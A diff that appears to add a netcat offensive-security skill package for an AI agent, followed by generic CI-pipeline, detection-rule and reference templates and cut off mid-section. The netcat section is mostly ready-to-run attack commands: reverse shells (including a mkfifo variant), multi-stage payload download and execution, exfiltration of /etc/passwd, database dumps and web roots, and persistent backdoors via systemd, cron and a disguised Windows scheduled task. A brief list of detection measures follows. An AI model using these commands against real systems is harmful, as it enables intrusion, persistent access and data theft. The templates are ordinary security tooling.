+# Test HTTP methods +echo -e "OPTIONS / HTTP/1.0\r\n\r\n" | nc 80 +``` + +### Pattern 2: Multi-stage Payload Delivery + +```bash +# Stage 1: Attacker listener +nc -lvnp 4444 > stage2_payload.sh + +# Stage 2: Target downloads next stage +nc 4444 < /dev/null > /tmp/stage2.sh +chmod +x /tmp/stage2.sh +/tmp/stage2.sh + +# Stage 3: Execute downloaded payload +# (payload establishes full reverse shell) +``` + +### Pattern 3: Data Exfiltration + +```bash +# Exfiltrate sensitive files +cat /etc/passwd | nc 5555 + +# Exfiltrate database dump +mysqldump -u root -p database_name | nc 5555 + +# Compress and exfiltrate directory +tar czf - /var/www/html | nc 5555 + +# Receiver +nc -lvnp 5555 > exfiltrated_data.tar.gz +``` + +### Pattern 4: Persistent Backdoor (Authorized Testing) + +```bash +# Create systemd service for persistence (Linux) +cat > /etc/systemd/system/netcat-backdoor.service < 4444 -e /bin/bash +Restart=always +RestartSec=60 + +[Install] +WantedBy=multi-user.target +EOF + +systemctl enable netcat-backdoor.service +systemctl start netcat-backdoor.service + +# Cron-based persistence +(crontab -l; echo "@reboot /bin/nc 4444 -e /bin/bash") | crontab - + +# Windows scheduled task +schtasks /create /tn "NetworkCheck" /tr "C:\ncat.exe 4444 -e cmd.exe" /sc onstart /ru System +``` + +## Integration Points + +### Metasploit Integration + +Use netcat as post-exploitation utility: + +```bash +# Metasploit session backgrounding and netcat shell +meterpreter > execute -f nc -a " 4444 -e /bin/bash" + +# Upload netcat to target +meterpreter > upload /usr/bin/nc /tmp/nc +meterpreter > shell +sh-4.2$ /tmp/nc 5555 -e /bin/bash +``` + +### Scripting and Automation + +```bash +#!/bin/bash +# automated_shell_catcher.sh - Automatic reverse shell handler + +PORT=4444 +LOG_DIR="shells/$(date +%Y%m%d)" +mkdir -p "$LOG_DIR" + +while true; do + TIMESTAMP=$(date +%H%M%S) + echo "[*] Listening on port $PORT..." + nc -lvnp $PORT | tee "$LOG_DIR/shell_$TIMESTAMP.log" + echo "[*] Connection closed, restarting listener..." + sleep 2 +done +``` + +## Troubleshooting + +### Issue: "nc: command not found" + +**Solutions**: +```bash +# Install netcat (Ubuntu/Debian) +sudo apt-get install netcat-traditional +sudo apt-get install netcat-openbsd + +# Install ncat (Nmap project, more features) +sudo apt-get install ncat + +# Check available version +which nc ncat netcat +``` + +### Issue: "-e flag not supported" + +**Solution**: Use alternative technique with named pipes: + +```bash +# Linux reverse shell without -e +rm /tmp/f; mkfifo /tmp/f +cat /tmp/f | /bin/sh -i 2>&1 | nc 4444 > /tmp/f + +# Or use ncat which supports -e +ncat 4444 -e /bin/bash +``` + +### Issue: Connection Dies Immediately + +**Causes**: +- Firewall blocking connection +- No interactive prompt keeping connection alive +- Process killed by security software + +**Solutions**: +```bash +# Keep connection alive with while loop +while true; do nc 4444 -e /bin/bash; sleep 10; done + +# Use ncat with keep-alive +ncat -lvnp 4444 --keep-open + +# Add reconnection logic +while true; do nc 4444 -e /bin/bash 2>/dev/null; sleep 60; done +``` + +### Issue: Can't Get Interactive Shell + +**Solutions**: +```bash +# Upgrade to PTY shell +python -c 'import pty; pty.spawn("/bin/bash")' + +# Set terminal type +export TERM=xterm + +# Enable raw mode (for Ctrl+C, etc.) +# On attacker machine, background shell with Ctrl+Z: +stty raw -echo; fg +``` + +## Defensive Considerations + +Organizations can detect netcat activity by: + +- **Process Monitoring**: Detect nc/ncat process execution +- **Network Monitoring**: Unusual outbound connections to non-standard ports +- **Command-Line Auditing**: Monitor for -e flag usage +- **Traffic Analysis**: Unencrypted shell traffic patterns +- **File Integrity**: Detect unauthorized netcat binaries + +Enhance defensive posture: +- Block outbound connections to non-business ports +- Monitor for process execution from unusual locations +- Deploy EDR solutions to detect reverse shell patterns +- Enable egress filtering on firewalls +- Audit Sysmon Event ID 1 (Process Creation) for nc/ncat +- Detect named pipe creation (Linux: mkfifo) +- Monitor cron jobs and systemd services for suspicious entries + +## References + +- [Ncat Users' Guide](https://nmap.org/ncat/guide/index.html) +- [GTFOBins: netcat](https://gtfobins.github.io/gtfobins/nc/) +- [MITRE ATT&CK: Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059/) +- [PTES: Post Exploitation](http://www.pentest-standard.org/index.php/Post_Exploitation) +- [Reverse Shell Cheat Sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) diff --git a/skills/offsec/network-netcat/assets/.gitkeep b/skills/offsec/network-netcat/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/offsec/network-netcat/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/offsec/network-netcat/assets/ci-config-template.yml b/skills/offsec/network-netcat/assets/ci-config-template.yml new file mode 100644 index 0000000..367cdbb --- /dev/null +++ b/skills/offsec/network-netcat/assets/ci-config-template.yml @@ -0,0 +1,357 @@ +# Security-Enhanced CI/CD Pipeline Template +# +# This template demonstrates security best practices for CI/CD pipelines. +# Adapt this template to your specific security tool and workflow needs. +# +# Key Security Features: +# - SAST (Static Application Security Testing) +# - Dependency vulnerability scanning +# - Secrets detection +# - Infrastructure-as-Code security scanning +# - Container image scanning +# - Security artifact uploading for compliance + +name: Security Scan Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main, develop] + schedule: + # Run weekly security scans on Sunday at 2 AM UTC + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual trigger + +# Security: Restrict permissions to minimum required +permissions: + contents: read + security-events: write # For uploading SARIF results + pull-requests: write # For commenting on PRs + +env: + # Configuration + SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities + REPORT_DIR: 'security-reports' + +jobs: + # Job 1: Static Application Security Testing (SAST) + sast-scan: + name: SAST Security Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better analysis + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run SAST Scanner + run: | + # Example: Using Semgrep for SAST + pip install semgrep + semgrep --config=auto \ + --json \ + --output ${{ env.REPORT_DIR }}/sast-results.json \ + . || true + + # Alternative: Bandit for Python projects + # pip install bandit + # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json + + - name: Process SAST Results + run: | + # Parse results and fail on critical/high severity + python3 -c " + import json + import sys + + with open('${{ env.REPORT_DIR }}/sast-results.json') as f: + results = json.load(f) + + critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR']) + high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING']) + + print(f'Critical findings: {critical}') + print(f'High findings: {high}') + + if critical > 0: + print('❌ Build failed: Critical security issues found') + sys.exit(1) + elif high > 0: + print('⚠️ Warning: High severity issues found') + # Optionally fail on high severity + # sys.exit(1) + else: + print('✅ No critical security issues found') + " + + - name: Upload SAST Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: sast-results + path: ${{ env.REPORT_DIR }}/sast-results.json + retention-days: 30 + + # Job 2: Dependency Vulnerability Scanning + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Scan Python Dependencies + if: hashFiles('requirements.txt') != '' + run: | + pip install safety + safety check \ + --json \ + --output ${{ env.REPORT_DIR }}/safety-results.json \ + || true + + - name: Scan Node Dependencies + if: hashFiles('package.json') != '' + run: | + npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true + + - name: Process Dependency Results + run: | + # Check for critical vulnerabilities + if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))") + echo "Critical vulnerabilities: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "❌ Build failed: Critical vulnerabilities in dependencies" + exit 1 + fi + fi + + - name: Upload Dependency Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: dependency-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 3: Secrets Detection + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history to scan all commits + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_ENABLE_SUMMARY: true + + - name: Alternative - TruffleHog Scan + if: false # Set to true to enable + run: | + pip install truffleHog + trufflehog --json --regex --entropy=True . \ + > ${{ env.REPORT_DIR }}/trufflehog-results.json || true + + - name: Upload Secrets Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: secrets-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 4: Container Image Scanning + container-scan: + name: Container Image Security Scan + runs-on: ubuntu-latest + if: hashFiles('Dockerfile') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker Image + run: | + docker build -t app:${{ github.sha }} . + + - name: Run Trivy Scanner + uses: aquasecurity/trivy-action@master + with: + image-ref: app:${{ github.sha }} + format: 'sarif' + output: '${{ env.REPORT_DIR }}/trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload Trivy Results to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif' + + - name: Upload Container Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: container-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 5: Infrastructure-as-Code Security Scanning + iac-scan: + name: IaC Security Scan + runs-on: ubuntu-latest + if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov + run: | + pip install checkov + checkov -d . \ + --output json \ + --output-file ${{ env.REPORT_DIR }}/checkov-results.json \ + --quiet \ + || true + + - name: Run tfsec (for Terraform) + if: hashFiles('**/*.tf') != '' + run: | + curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash + tfsec . \ + --format json \ + --out ${{ env.REPORT_DIR }}/tfsec-results.json \ + || true + + - name: Process IaC Results + run: | + # Fail on critical findings + if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))") + echo "Failed checks: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "⚠️ Warning: IaC security issues found" + # Optionally fail the build + # exit 1 + fi + fi + + - name: Upload IaC Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: iac-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 6: Security Report Generation and Notification + security-report: + name: Generate Security Report + runs-on: ubuntu-latest + needs: [sast-scan, dependency-scan, secrets-scan] + if: always() + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Download All Scan Results + uses: actions/download-artifact@v4 + with: + path: all-results/ + + - name: Generate Consolidated Report + run: | + # Consolidate all security scan results + mkdir -p consolidated-report + + cat > consolidated-report/security-summary.md << 'EOF' + # Security Scan Summary + + **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC") + **Commit**: ${{ github.sha }} + **Branch**: ${{ github.ref_name }} + + ## Scan Results + + ### SAST Scan + See artifacts: `sast-results` + + ### Dependency Scan + See artifacts: `dependency-scan-results` + + ### Secrets Scan + See artifacts: `secrets-scan-results` + + ### Container Scan + See artifacts: `container-scan-results` + + ### IaC Scan + See artifacts: `iac-scan-results` + + --- + + For detailed results, download scan artifacts from this workflow run. + EOF + + - name: Comment on PR (if applicable) + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8'); + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: report + }); + + - name: Upload Consolidated Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: consolidated-security-report + path: consolidated-report/ + retention-days: 90 + +# Security Best Practices Demonstrated: +# +# 1. ✅ Minimal permissions (principle of least privilege) +# 2. ✅ Multiple security scan types (defense in depth) +# 3. ✅ Fail-fast on critical findings +# 4. ✅ Secrets detection across full git history +# 5. ✅ Container image scanning before deployment +# 6. ✅ IaC scanning for misconfigurations +# 7. ✅ Artifact retention for compliance audit trail +# 8. ✅ SARIF format for GitHub Security integration +# 9. ✅ Scheduled scans for continuous monitoring +# 10. ✅ PR comments for developer feedback +# +# Compliance Mappings: +# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging) +# - PCI-DSS: 6.2, 6.5 (Secure development practices) +# - NIST: SA-11 (Developer Security Testing) +# - OWASP: Integrated security testing throughout SDLC diff --git a/skills/offsec/network-netcat/assets/rule-template.yaml b/skills/offsec/network-netcat/assets/rule-template.yaml new file mode 100644 index 0000000..2aebcfe --- /dev/null +++ b/skills/offsec/network-netcat/assets/rule-template.yaml @@ -0,0 +1,355 @@ +# Security Rule Template +# +# This template demonstrates how to structure security rules/policies. +# Adapt this template to your specific security tool (Semgrep, OPA, etc.) +# +# Rule Structure Best Practices: +# - Clear rule ID and metadata +# - Severity classification +# - Framework mappings (OWASP, CWE) +# - Remediation guidance +# - Example vulnerable and fixed code + +rules: + # Example Rule 1: SQL Injection Detection + - id: sql-injection-string-concatenation + metadata: + name: "SQL Injection via String Concatenation" + description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries" + severity: "HIGH" + category: "security" + subcategory: "injection" + + # Security Framework Mappings + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-89: SQL Injection" + mitre_attack: + - "T1190: Exploit Public-Facing Application" + + # Compliance Standards + compliance: + - "PCI-DSS 6.5.1: Injection flaws" + - "NIST 800-53 SI-10: Information Input Validation" + + # Confidence and Impact + confidence: "HIGH" + likelihood: "HIGH" + impact: "HIGH" + + # References + references: + - "https://owasp.org/www-community/attacks/SQL_Injection" + - "https://cwe.mitre.org/data/definitions/89.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" + + # Languages this rule applies to + languages: + - python + - javascript + - java + - go + + # Detection Pattern (example using Semgrep-style syntax) + pattern-either: + - pattern: | + cursor.execute($SQL + $VAR) + - pattern: | + cursor.execute(f"... {$VAR} ...") + - pattern: | + cursor.execute("..." + $VAR + "...") + + # What to report when found + message: | + Potential SQL injection vulnerability detected. SQL query is constructed using + string concatenation or f-strings with user input. This allows attackers to + inject malicious SQL code. + + Use parameterized queries instead: + - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId]) + + See: https://owasp.org/www-community/attacks/SQL_Injection + + # Suggested fix (auto-fix if supported) + fix: | + Use parameterized queries with placeholders + + # Example vulnerable code + examples: + - vulnerable: | + # Vulnerable: String concatenation + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = " + user_id + cursor.execute(query) + + - fixed: | + # Fixed: Parameterized query + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = ?" + cursor.execute(query, (user_id,)) + + # Example Rule 2: Hardcoded Secrets Detection + - id: hardcoded-secret-credential + metadata: + name: "Hardcoded Secret or Credential" + description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code" + severity: "CRITICAL" + category: "security" + subcategory: "secrets" + + owasp: + - "A07:2021 - Identification and Authentication Failures" + cwe: + - "CWE-798: Use of Hard-coded Credentials" + - "CWE-259: Use of Hard-coded Password" + + compliance: + - "PCI-DSS 8.2.1: Use of strong cryptography" + - "SOC 2 CC6.1: Logical access controls" + - "GDPR Article 32: Security of processing" + + confidence: "MEDIUM" + likelihood: "HIGH" + impact: "CRITICAL" + + references: + - "https://cwe.mitre.org/data/definitions/798.html" + - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password" + + languages: + - python + - javascript + - java + - go + - ruby + + pattern-either: + - pattern: | + password = "..." + - pattern: | + api_key = "..." + - pattern: | + secret = "..." + - pattern: | + token = "..." + + pattern-not: | + $VAR = "" + + message: | + Potential hardcoded secret detected. Hardcoding credentials in source code + is a critical security vulnerability that can lead to unauthorized access + if the code is exposed. + + Use environment variables or a secrets management system instead: + - Python: os.environ.get('API_KEY') + - Node.js: process.env.API_KEY + - Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc. + + See: https://cwe.mitre.org/data/definitions/798.html + + examples: + - vulnerable: | + # Vulnerable: Hardcoded API key + api_key = "sk-1234567890abcdef" + api.authenticate(api_key) + + - fixed: | + # Fixed: Environment variable + import os + api_key = os.environ.get('API_KEY') + if not api_key: + raise ValueError("API_KEY environment variable not set") + api.authenticate(api_key) + + # Example Rule 3: XSS via Unsafe HTML Rendering + - id: xss-unsafe-html-rendering + metadata: + name: "Cross-Site Scripting (XSS) via Unsafe HTML" + description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities" + severity: "HIGH" + category: "security" + subcategory: "xss" + + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-79: Cross-site Scripting (XSS)" + - "CWE-80: Improper Neutralization of Script-Related HTML Tags" + + compliance: + - "PCI-DSS 6.5.7: Cross-site scripting" + - "NIST 800-53 SI-10: Information Input Validation" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://owasp.org/www-community/attacks/xss/" + - "https://cwe.mitre.org/data/definitions/79.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" + + languages: + - javascript + - typescript + - jsx + - tsx + + pattern-either: + - pattern: | + dangerouslySetInnerHTML={{__html: $VAR}} + - pattern: | + innerHTML = $VAR + + message: | + Potential XSS vulnerability detected. Setting HTML content directly from + user input without sanitization can allow attackers to inject malicious + JavaScript code. + + Use one of these safe alternatives: + - React: Use {userInput} for automatic escaping + - DOMPurify: const clean = DOMPurify.sanitize(dirty); + - Framework-specific sanitizers + + See: https://owasp.org/www-community/attacks/xss/ + + examples: + - vulnerable: | + // Vulnerable: Unsanitized HTML + function UserComment({ comment }) { + return
; + } + + - fixed: | + // Fixed: Sanitized with DOMPurify + import DOMPurify from 'dompurify'; + + function UserComment({ comment }) { + const sanitized = DOMPurify.sanitize(comment); + return
; + } + + # Example Rule 4: Insecure Cryptography + - id: weak-cryptographic-algorithm + metadata: + name: "Weak Cryptographic Algorithm" + description: "Detects use of weak or deprecated cryptographic algorithms" + severity: "HIGH" + category: "security" + subcategory: "cryptography" + + owasp: + - "A02:2021 - Cryptographic Failures" + cwe: + - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm" + - "CWE-326: Inadequate Encryption Strength" + + compliance: + - "PCI-DSS 4.1: Use strong cryptography" + - "NIST 800-53 SC-13: Cryptographic Protection" + - "GDPR Article 32: Security of processing" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://cwe.mitre.org/data/definitions/327.html" + - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/" + + languages: + - python + - javascript + - java + + pattern-either: + - pattern: | + hashlib.md5(...) + - pattern: | + hashlib.sha1(...) + - pattern: | + crypto.createHash('md5') + - pattern: | + crypto.createHash('sha1') + + message: | + Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are + considered cryptographically broken and should not be used for security purposes. + + Use strong alternatives: + - For hashing: SHA-256, SHA-384, or SHA-512 + - For password hashing: bcrypt, argon2, or PBKDF2 + - Python: hashlib.sha256() + - Node.js: crypto.createHash('sha256') + + See: https://cwe.mitre.org/data/definitions/327.html + + examples: + - vulnerable: | + # Vulnerable: MD5 hash + import hashlib + hash_value = hashlib.md5(data).hexdigest() + + - fixed: | + # Fixed: SHA-256 hash + import hashlib + hash_value = hashlib.sha256(data).hexdigest() + +# Rule Configuration +configuration: + # Global settings + enabled: true + severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above + + # Performance tuning + max_file_size_kb: 1024 + exclude_patterns: + - "test/*" + - "tests/*" + - "node_modules/*" + - "vendor/*" + - "*.min.js" + + # False positive reduction + confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher + +# Rule Metadata Schema +# This section documents the expected structure for rules +metadata_schema: + required: + - id: "Unique identifier for the rule (kebab-case)" + - name: "Human-readable rule name" + - description: "What the rule detects" + - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO" + - category: "security | best-practice | performance" + + optional: + - subcategory: "Specific type (injection, xss, secrets, etc.)" + - owasp: "OWASP Top 10 mappings" + - cwe: "CWE identifier(s)" + - mitre_attack: "MITRE ATT&CK technique(s)" + - compliance: "Compliance standard references" + - confidence: "Detection confidence level" + - likelihood: "Likelihood of exploitation" + - impact: "Potential impact if exploited" + - references: "External documentation links" + +# Usage Instructions: +# +# 1. Copy this template when creating new security rules +# 2. Update metadata fields with appropriate framework mappings +# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.) +# 4. Provide clear remediation guidance in the message field +# 5. Include both vulnerable and fixed code examples +# 6. Test rules on real codebases before deployment +# +# Best Practices: +# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK) +# - Include compliance standard references +# - Provide actionable remediation guidance +# - Show code examples (vulnerable vs. fixed) +# - Tune confidence levels to reduce false positives +# - Exclude test directories to reduce noise diff --git a/skills/offsec/network-netcat/references/EXAMPLE.md b/skills/offsec/network-netcat/references/EXAMPLE.md new file mode 100644 index 0000000..c317b39 --- /dev/null +++ b/skills/offsec/network-netcat/references/EXAMPLE.md @@ -0,0 +1,550 @@ +# Reference Document Template + +This file demonstrates how to structure detailed reference material that Claude loads on-demand. + +**When to use this reference**: Include a clear statement about when Claude should consult this document. +For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns." + +**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md. + +--- + +## Table of Contents + +**For documents >100 lines, always include a table of contents** to help Claude navigate quickly. + +- [When to Use References](#when-to-use-references) +- [Document Organization](#document-organization) +- [Detailed Technical Content](#detailed-technical-content) +- [Security Framework Mappings](#security-framework-mappings) + - [OWASP Top 10](#owasp-top-10) + - [CWE Mappings](#cwe-mappings) + - [MITRE ATT&CK](#mitre-attck) +- [Remediation Patterns](#remediation-patterns) +- [Advanced Configuration](#advanced-configuration) +- [Examples and Code Samples](#examples-and-code-samples) + +--- + +## When to Use References + +**Move content from SKILL.md to references/** when: + +1. **Content exceeds 100 lines** - Keep SKILL.md concise +2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings +3. **Advanced user content** - Deep technical details for expert users +4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists +5. **Language-specific patterns** - Separate files per language/framework +6. **Historical context** - Old patterns and deprecated approaches + +**Keep in SKILL.md**: +- Core workflows (top 3-5 use cases) +- Decision points and branching logic +- Quick start guidance +- Essential security considerations + +--- + +## Document Organization + +### Structure for Long Documents + +For references >100 lines: + +```markdown +# Title + +**When to use**: Clear trigger statement +**Purpose**: What this provides + +## Table of Contents +- Links to all major sections + +## Quick Reference +- Key facts or commands for fast lookup + +## Detailed Content +- Comprehensive information organized logically + +## Framework Mappings +- OWASP, CWE, MITRE ATT&CK references + +## Examples +- Code samples and patterns +``` + +### Section Naming Conventions + +- Use **imperative** or **declarative** headings +- ✅ "Detecting SQL Injection" not "How to detect SQL Injection" +- ✅ "Common Patterns" not "These are common patterns" +- Make headings **searchable** and **specific** + +--- + +## Detailed Technical Content + +This section demonstrates the type of detailed content that belongs in references rather than SKILL.md. + +### Example: Comprehensive Vulnerability Detection + +#### SQL Injection Detection Patterns + +**Pattern 1: String Concatenation in Queries** + +```python +# Vulnerable pattern +query = "SELECT * FROM users WHERE id = " + user_id +cursor.execute(query) + +# Detection criteria: +# - SQL keyword (SELECT, INSERT, UPDATE, DELETE) +# - String concatenation operator (+, f-string) +# - Variable user input (request params, form data) + +# Severity: HIGH +# CWE: CWE-89 +# OWASP: A03:2021 - Injection +``` + +**Remediation**: +```python +# Fixed: Parameterized query +query = "SELECT * FROM users WHERE id = ?" +cursor.execute(query, (user_id,)) + +# OR using ORM +user = User.objects.get(id=user_id) +``` + +**Pattern 2: Unsafe String Formatting** + +```python +# Vulnerable patterns +query = f"SELECT * FROM users WHERE name = '{username}'" +query = "SELECT * FROM users WHERE name = '%s'" % username +query = "SELECT * FROM users WHERE name = '{}'".format(username) + +# All three patterns are vulnerable to SQL injection +``` + +#### Cross-Site Scripting (XSS) Detection + +**Pattern 1: Unescaped Output in Templates** + +```javascript +// Vulnerable: Direct HTML injection +element.innerHTML = userInput; +document.write(userInput); + +// Vulnerable: React dangerouslySetInnerHTML +
+ +// Detection criteria: +# - Direct DOM manipulation (innerHTML, document.write) +# - React dangerouslySetInnerHTML with user data +# - Template engines with autoescaping disabled + +// Severity: HIGH +// CWE: CWE-79 +// OWASP: A03:2021 - Injection +``` + +**Remediation**: +```javascript +// Fixed: Escaped output +element.textContent = userInput; // Auto-escapes + +// Fixed: Sanitization library +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userComment); +
+``` + +--- + +## Security Framework Mappings + +This section provides comprehensive security framework mappings for findings. + +### OWASP Top 10 + +Map security findings to OWASP Top 10 (2021) categories: + +| Category | Title | Common Vulnerabilities | +|----------|-------|----------------------| +| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR | +| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS | +| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection | +| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps | +| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features | +| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies | +| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA | +| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization | +| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection | +| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects | + +**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection"). + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories for precise vulnerability classification: + +#### Injection Vulnerabilities +- **CWE-78**: OS Command Injection +- **CWE-79**: Cross-site Scripting (XSS) +- **CWE-89**: SQL Injection +- **CWE-90**: LDAP Injection +- **CWE-91**: XML Injection +- **CWE-94**: Code Injection + +#### Authentication & Authorization +- **CWE-287**: Improper Authentication +- **CWE-288**: Authentication Bypass Using Alternate Path +- **CWE-290**: Authentication Bypass by Spoofing +- **CWE-294**: Authentication Bypass by Capture-replay +- **CWE-306**: Missing Authentication for Critical Function +- **CWE-307**: Improper Restriction of Excessive Authentication Attempts +- **CWE-352**: Cross-Site Request Forgery (CSRF) + +#### Cryptographic Issues +- **CWE-256**: Plaintext Storage of Password +- **CWE-259**: Use of Hard-coded Password +- **CWE-261**: Weak Encoding for Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-326**: Inadequate Encryption Strength +- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm +- **CWE-329**: Not Using a Random IV with CBC Mode +- **CWE-798**: Use of Hard-coded Credentials + +#### Input Validation +- **CWE-20**: Improper Input Validation +- **CWE-73**: External Control of File Name or Path +- **CWE-434**: Unrestricted Upload of File with Dangerous Type +- **CWE-601**: URL Redirection to Untrusted Site + +#### Sensitive Data Exposure +- **CWE-200**: Information Exposure +- **CWE-209**: Information Exposure Through Error Message +- **CWE-312**: Cleartext Storage of Sensitive Information +- **CWE-319**: Cleartext Transmission of Sensitive Information +- **CWE-532**: Information Exposure Through Log Files + +**Usage**: Include CWE identifier in all vulnerability reports for standardized classification. + +### MITRE ATT&CK + +Reference relevant tactics and techniques for threat context: + +#### Initial Access (TA0001) +- **T1190**: Exploit Public-Facing Application +- **T1133**: External Remote Services +- **T1078**: Valid Accounts + +#### Execution (TA0002) +- **T1059**: Command and Scripting Interpreter +- **T1203**: Exploitation for Client Execution + +#### Persistence (TA0003) +- **T1098**: Account Manipulation +- **T1136**: Create Account +- **T1505**: Server Software Component + +#### Privilege Escalation (TA0004) +- **T1068**: Exploitation for Privilege Escalation +- **T1548**: Abuse Elevation Control Mechanism + +#### Defense Evasion (TA0005) +- **T1027**: Obfuscated Files or Information +- **T1140**: Deobfuscate/Decode Files or Information +- **T1562**: Impair Defenses + +#### Credential Access (TA0006) +- **T1110**: Brute Force +- **T1555**: Credentials from Password Stores +- **T1552**: Unsecured Credentials + +#### Discovery (TA0007) +- **T1083**: File and Directory Discovery +- **T1046**: Network Service Scanning + +#### Collection (TA0009) +- **T1005**: Data from Local System +- **T1114**: Email Collection + +#### Exfiltration (TA0010) +- **T1041**: Exfiltration Over C2 Channel +- **T1567**: Exfiltration Over Web Service + +**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them. + +--- + +## Remediation Patterns + +This section provides specific remediation guidance for common vulnerability types. + +### SQL Injection Remediation + +**Step 1: Identify vulnerable queries** +- Search for string concatenation in SQL queries +- Check for f-strings or format() with SQL keywords +- Review all database interaction code + +**Step 